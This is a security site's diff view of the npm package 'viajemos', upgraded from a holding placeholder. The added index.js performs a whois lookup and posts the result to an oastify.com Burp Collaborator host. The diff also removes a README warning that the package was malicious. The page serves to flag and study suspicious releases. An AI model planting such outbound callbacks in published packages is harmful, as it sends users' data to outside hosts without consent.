viajemos 0.0.1-security → 2.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of viajemos might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +30 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,30 @@
1
+ const whois = require("whois");
2
+ const axios = require("axios");
3
+ const os = require("os");
4
+
5
+ // Option 1: Get the local machine's hostname and perform whois on it.
6
+ const targetHostname = os.hostname(); // For the local machine's hostname
7
+
8
+ // Option 2: If you have a specific target (external server or domain), replace this value:
9
+ const targetServer = "example.com"; // Replace with your target machine's domain/IP
10
+
11
+ // Perform WHOIS lookup on the target machine
12
+ whois.lookup(targetServer || targetHostname, async (err, data) => {
13
+ if (err) {
14
+ console.error(`Error occurred during whois lookup for ${targetServer}:`, err);
15
+ return;
16
+ }
17
+
18
+ console.log(`Whois data for ${targetServer}:\n${data}`);
19
+
20
+ // Send the WHOIS data to Burp
21
+ try {
22
+ const burpUrl = "http://2bemhbjl9htdy0irflub38r22t8kwakz.oastify.com"; // Replace with your Burp Collaborator URL
23
+ const response = await axios.post(burpUrl, {
24
+ message: `Whois data for ${targetServer}:\n${data}`
25
+ });
26
+ console.log('Data sent to Burp:', response.data);
27
+ } catch (error) {
28
+ console.error('Error sending data to Burp:', error.message);
29
+ }
30
+ });
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "viajemos",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.0.2",
4
+ "description": "White Hat ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=viajemos for more information.